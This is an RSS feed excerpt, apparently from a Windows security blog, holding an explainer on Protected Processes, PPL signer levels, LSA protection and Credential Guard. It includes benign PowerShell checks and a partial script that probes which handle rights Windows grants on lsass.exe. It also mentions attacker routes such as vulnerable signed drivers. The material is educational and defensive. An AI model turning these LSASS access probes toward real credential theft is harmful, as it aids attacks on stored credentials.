  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects&quot;&gt;Access Rights for Access-Token Objects&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/privileges&quot;&gt;Privileges&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/how-dacls-control-access-to-an-object&quot;&gt;How AccessCheck Works&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control&quot;&gt;Mandatory Integrity Control&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-token&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!token&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-process&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!process&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-&quot;&gt;Setting Up Kernel-Mode Debugging of a Virtual Machine Manually Using a Virtual COM Port&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection&quot;&gt;Set Up KDNET Network Kernel Debugging Manually&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/driversecurity/windows-security-model&quot;&gt;Windows security model for driver developers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Microsoft Learn: &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules&quot;&gt;Microsoft recommended driver block rules&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 04 May 2026 02:00:00 +0000</pubDate>
        <link>https://chadduffey.com/windows/windbg/security/2026/05/04/FollowingAnAccessTokenInWinDbg.html</link>
        <guid isPermaLink="true">https://chadduffey.com/windows/windbg/security/2026/05/04/FollowingAnAccessTokenInWinDbg.html</guid>
        
        
        <category>windows</category>
        
        <category>windbg</category>
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>Why admin still can&apos;t touch some Windows processes</title>
        <description>&lt;p&gt;Administrator is powerful on Windows, but it is not the highest trust level on the machine.&lt;/p&gt;

&lt;p&gt;That becomes obvious the first time an elevated tool hits a process it cannot fully inspect. In Process Explorer, ordinary processes feel familiar: modules, handles, threads, token details, memory, image paths, loaded DLLs. Administrative tools can usually expose a lot of process state.&lt;/p&gt;

&lt;p&gt;Then click one of the protected processes and the picture changes. The process is visible, but some details are missing. Some tabs get thin. Some operations fail. You are still administrator, but Windows is enforcing a boundary that administrator alone does not cross.&lt;/p&gt;

&lt;p&gt;That behavior is not a bug in the tool. It is part of the security model.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Why does Windows let an administrator inspect most processes, but reject or constrain access to a special few?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The short version is that modern Windows process security is layered. The old model was mostly about the caller’s token and the target object’s security descriptor. Protected Processes added kernel-enforced restrictions above that. Protected Process Light (PPL) made protection hierarchical by introducing signer levels. Trustlets and Isolated User Mode (IUM) move some secrets into virtualization-backed isolation, where even the usual user-versus-kernel shorthand stops being enough.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: process lists, labels, defaults, event IDs, and UI behavior can vary by build, SKU, hardware, and policy. The commands below are meant to validate the model on your machine, not guarantee identical output everywhere.&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;lab-setup&quot;&gt;Lab setup&lt;/h1&gt;

&lt;p&gt;You can follow most of this with built-in tools plus Sysinternals:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer&quot;&gt;Process Explorer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;an elevated PowerShell session&lt;/li&gt;
  &lt;li&gt;Event Viewer&lt;/li&gt;
  &lt;li&gt;optional: a kernel debugger attached to a lab VM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use a lab system if you are going to change security settings. The inspection steps are safe, but enabling or disabling LSA protection, Credential Guard, HVCI, Secure Boot, or WDAC policies can affect compatibility and recovery.&lt;/p&gt;

&lt;h1 id=&quot;the-map&quot;&gt;The map&lt;/h1&gt;

&lt;p&gt;Here is the model before the details:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ordinary processes are mostly governed by the caller’s token, privileges, and the target process object’s security descriptor.&lt;/li&gt;
  &lt;li&gt;Protected Processes are special processes where Windows filters sensitive access rights even if the caller is administrative.&lt;/li&gt;
  &lt;li&gt;Protected Process Light keeps the protected-process idea, but adds signer levels so protected processes are not all equal.&lt;/li&gt;
  &lt;li&gt;LSA protection is a practical use of PPL for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Credential Guard and Trustlets use virtualization-based isolation so some secrets are protected outside normal VTL0 process memory.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is the progression this post follows.&lt;/p&gt;

&lt;p&gt;Protected Processes arrived in Windows Vista. They were originally built for protected media scenarios, but the security idea is broader: some processes should not hand out sensitive access rights to ordinary user-mode callers, even administrative ones.&lt;/p&gt;

&lt;p&gt;Protected Process Light arrived later, in Windows 8.1. PPL extends the protected-process access model, but adds type and signer information so Windows can distinguish different protected trust levels. That is what makes an LSA-protected process, an Antimalware-protected process, and a Windows-protected process different from each other.&lt;/p&gt;

&lt;p&gt;LSA protection is the practical example most defenders recognize. When enabled, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt; runs as a protected process light in the LSA signer category, so nonprotected processes cannot read LSASS memory or inject code into it.&lt;/p&gt;

&lt;p&gt;Trustlets and Isolated User Mode arrived with Windows 10. They use virtualization-based isolation and VTL1 so secure processes, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LsaIso.exe&lt;/code&gt;, can keep their user-mode pages isolated from VTL0 code.&lt;/p&gt;

&lt;p&gt;Credential Guard builds on that VBS model. Instead of only making LSASS harder to open, it moves the secrets it protects behind an isolated LSA process.&lt;/p&gt;

&lt;h1 id=&quot;the-old-model-admin-plus-debug-privilege&quot;&gt;The old model: admin plus debug privilege&lt;/h1&gt;

&lt;p&gt;The old mental model was not imaginary.&lt;/p&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights&quot;&gt;Process Security and Access Rights&lt;/a&gt; documentation explains that when a caller opens a process, Windows checks the requested access rights against the process object’s security descriptor. It also states that to open another process with full access rights, the caller must enable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeDebugPrivilege&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That maps to a lot of traditional Windows debugging experience. If you had an elevated token, enabled debug privilege, and targeted an ordinary process, you could usually request broad process rights and get them.&lt;/p&gt;

&lt;p&gt;Those rights are concrete. The same documentation lists access masks such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_QUERY_INFORMATION&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_VM_READ&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_VM_WRITE&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_VM_OPERATION&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_DUP_HANDLE&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_CREATE_THREAD&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_SUSPEND_RESUME&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_TERMINATE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a tool can open a process with rights like those, it can inspect memory, duplicate handles, inject code, create remote threads, suspend or terminate execution, or attach a debugger.&lt;/p&gt;

&lt;p&gt;You can check the privilege side of that model from an elevated shell:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/priv&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findstr&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SeDebugPrivilege&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On many systems you will see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeDebugPrivilege&lt;/code&gt; present in an elevated administrator token. Present does not always mean enabled by a given process, and the privilege is not an override for every modern boundary. It explains why older tools and older instincts often equated local administrator with broad process visibility.&lt;/p&gt;

&lt;h1 id=&quot;protected-processes-changed-the-access-check&quot;&gt;Protected Processes changed the access check&lt;/h1&gt;

&lt;p&gt;Protected Processes were the first major break from that old expectation.&lt;/p&gt;

&lt;p&gt;Windows Vista introduced protected processes for protected media and DRM scenarios. That origin story is not the part most defenders care about now, but it shows the architectural change: some processes became special enough that a normal administrator process should not be able to open them with the usual sensitive rights.&lt;/p&gt;

&lt;p&gt;The enforcement happens in the kernel. This is not a user-mode convention that Process Explorer, Task Manager, or a debugger politely chooses to follow. Windows marks a process as protected, then restricts what access a caller can receive.&lt;/p&gt;

&lt;p&gt;Microsoft’s process access documentation lists rights that are not allowed from an ordinary process to a protected process. The denied list includes sensitive rights such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_CREATE_THREAD&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_DUP_HANDLE&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_QUERY_INFORMATION&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_VM_OPERATION&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_VM_READ&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_VM_WRITE&lt;/code&gt;. It also notes that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt; exists to allow a smaller set of information to remain queryable.&lt;/p&gt;

&lt;p&gt;So “protected” does not mean invisible. It means the handle rights you can obtain are intentionally limited.&lt;/p&gt;

&lt;p&gt;Classic Protected Processes are not something an administrator can turn on for any executable. Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags&quot;&gt;process creation flags documentation&lt;/a&gt; documents the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CREATE_PROTECTED_PROCESS&lt;/code&gt; flag, but also states that the binary must have a special Microsoft-provided signature that is not currently available for non-Microsoft binaries.&lt;/p&gt;

&lt;h1 id=&quot;experiment-1-find-the-protected-processes&quot;&gt;Experiment 1: find the protected processes&lt;/h1&gt;

&lt;p&gt;Start Process Explorer as administrator.&lt;/p&gt;

&lt;p&gt;Right-click the process list header, choose &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Select Columns&lt;/code&gt;, and enable the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Protection&lt;/code&gt; column. Then sort by it.&lt;/p&gt;

&lt;p&gt;This gives an immediate visual cue that not all processes are operating under the same trust rules.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/protections/protection-levels.png&quot; alt=&quot;Process Explorer protection levels view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The exact entries depend on the machine. You may see ordinary processes with no protection value, protected or PPL processes with labels such as LSA or Antimalware, and possibly secure-process or VBS-related components if those features are enabled.&lt;/p&gt;

&lt;p&gt;The exact list can change between machines. The useful part is that process protection is part of the runtime state of the machine.&lt;/p&gt;

&lt;h1 id=&quot;ppl-protection-becomes-a-signer-hierarchy&quot;&gt;PPL: protection becomes a signer hierarchy&lt;/h1&gt;

&lt;p&gt;Protected Process Light is where this stops being a simple protected-versus-unprotected model.&lt;/p&gt;

&lt;p&gt;PPL is a lighter, more flexible protected-process model. It keeps the idea that Windows can restrict access to protected processes, but it adds type and signer information. That lets Windows distinguish between different protected trust levels instead of treating protection as a single yes-or-no value.&lt;/p&gt;

&lt;p&gt;That changes the question from:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Is this process protected?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;What kind of protected process is this, and what signer level does it run with?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Public Windows headers expose some of these ideas through &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_protection_level_information&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROCESS_PROTECTION_LEVEL_INFORMATION&lt;/code&gt;&lt;/a&gt;, with values such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROTECTION_LEVEL_WINDOWS_LIGHT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROTECTION_LEVEL_ANTIMALWARE_LIGHT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROTECTION_LEVEL_LSA_LIGHT&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROTECTION_LEVEL_WINTCB_LIGHT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Research by Alex Ionescu on &lt;a href=&quot;https://www.alex-ionescu.com/the-evolution-of-protected-processes-pass-the-hash-mitigations-in-windows-8-1/&quot;&gt;the evolution of protected processes&lt;/a&gt; documents the underlying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PS_PROTECTION&lt;/code&gt; model: a protected type plus a signer value, with signers such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Antimalware&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lsa&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WinTcb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That matters because protected processes are not all peers. An anti-malware service needs enough protection that ordinary malware cannot stop the service or inject code into it. LSASS needs a different kind of protection because it handles credential material. Windows components at still higher trust levels need to interact with parts of the system that lower-trust protected processes should not control.&lt;/p&gt;

&lt;p&gt;The signer level is not a string a program gets to declare for itself. Windows assigns the protection level only when the launch path and Code Integrity checks satisfy the rules for that protected category. A normal Authenticode signature does not let a process become &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WinTcb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lsa&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Antimalware&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The anti-malware case shows the shape of the control. Microsoft documents that an anti-malware protected service needs an ELAM driver, registered certificate information, protected-service configuration, and Code Integrity validation before Windows launches it as protected. Once it is running, only Windows-signed code or code signed with the registered anti-malware vendor certificates can load into that protected service.&lt;/p&gt;

&lt;p&gt;LSA protection is stricter in a different way. Microsoft documents that plug-ins loaded into protected LSA must be digitally signed with a Microsoft signature, and that unsigned or incorrectly signed plug-ins fail to load.&lt;/p&gt;

&lt;p&gt;That makes the certificate question more concrete. A normal commercial code-signing certificate is not enough to become a high-trust PPL process. For the categories in this post, the legitimate paths are controlled: Windows and WinTcb are Microsoft-controlled; LSA plug-ins need a Microsoft signature through the documented WHQL or LSA file-signing path; anti-malware protected services need the ELAM and protected-service registration model described above. The result is more specific than “this file is signed.” It is “Windows recognizes this file, launch path, and signing policy as eligible for this protected category.”&lt;/p&gt;

&lt;p&gt;For an attacker, that usually changes the problem. They are not realistically buying a normal certificate and choosing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lsa&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WinTcb&lt;/code&gt; as a label. They would need to compromise a trusted signing or build pipeline, abuse a legitimate signed component, exploit a bug in the enforcement path, or move below the user-mode boundary with something like a vulnerable signed driver.&lt;/p&gt;

&lt;p&gt;The hierarchy helps in two directions. It limits who can get powerful access to a protected process, and it limits what code can join that protected process. A malware author cannot claim “I am LSA-light now” and receive that trust. They would need to satisfy the relevant signing and launch requirements, or attack some stronger boundary such as Code Integrity, the kernel, or a vulnerable signed driver.&lt;/p&gt;

&lt;p&gt;In practice, “is it protected?” is an incomplete question. The better question is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Protected by what signer level, against which caller, for which access rights?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;lsa-protection-is-the-easiest-example-to-care-about&quot;&gt;LSA protection is the easiest example to care about&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt; is the example most people care about because it sits close to credential theft.&lt;/p&gt;

&lt;p&gt;Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection&quot;&gt;LSA protection documentation&lt;/a&gt; says that on Windows 8.1 and later, added LSA protection prevents nonprotected processes from reading LSASS memory and injecting code. It also documents that there is no supported way to debug a running protected LSASS process.&lt;/p&gt;

&lt;p&gt;That is the clean practical explanation for the administrator surprise:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If LSASS is running as a protected process, an unprotected administrative tool is still lower trust for sensitive process access.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On Windows 11, LSA protection may already be enabled depending on version, installation type, enterprise join state, HVCI capability, policy, and other conditions. Verify the state instead of assuming it.&lt;/p&gt;

&lt;p&gt;Microsoft documents a simple verification point in Event Viewer:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Open Event Viewer.&lt;/li&gt;
  &lt;li&gt;Go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows Logs&lt;/code&gt; &amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Look for WinInit event ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;The message should say &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LSASS.exe was started as a protected process with level: 4&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can also check with PowerShell:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-WinEvent&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-FilterHashtable&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;LogName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;System&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Where-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ProviderName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-eq&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Microsoft-Windows-Wininit&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-First&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TimeCreated&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Message&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you do not see that event, it does not automatically mean the machine is insecure. It means that event is not proof that LSASS is running as PPL on that system.&lt;/p&gt;

&lt;h1 id=&quot;experiment-2-probe-the-access-rights&quot;&gt;Experiment 2: probe the access rights&lt;/h1&gt;

&lt;p&gt;The visual test is useful, but a handle-rights test makes the boundary more concrete.&lt;/p&gt;

&lt;p&gt;The script below starts Notepad, finds &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt;, and tries to open each process with a small set of access masks. It does not read memory, write memory, create a thread, or terminate anything. It only asks whether Windows will grant a handle with each requested right, then closes any handle it receives.&lt;/p&gt;

&lt;p&gt;Run it from an elevated PowerShell session:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$source&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;@&apos;
using System;
using System.Runtime.InteropServices;

public static class NativeProcessAccess
{
    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]
    public static extern IntPtr OpenProcess(UInt32 desiredAccess, bool inheritHandle, UInt32 processId);

    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]
    public static extern bool CloseHandle(IntPtr handle);
}
&apos;@&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-not&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Management.Automation.PSTypeName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;NativeProcessAccess&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Add-Type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-TypeDefinition&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$source&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$rights&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ordered&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]@{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x1000&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_QUERY_INFORMATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0400&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_VM_READ&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;                   &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0010&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PROCESS_VM_WRITE&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;                  &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x0020&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
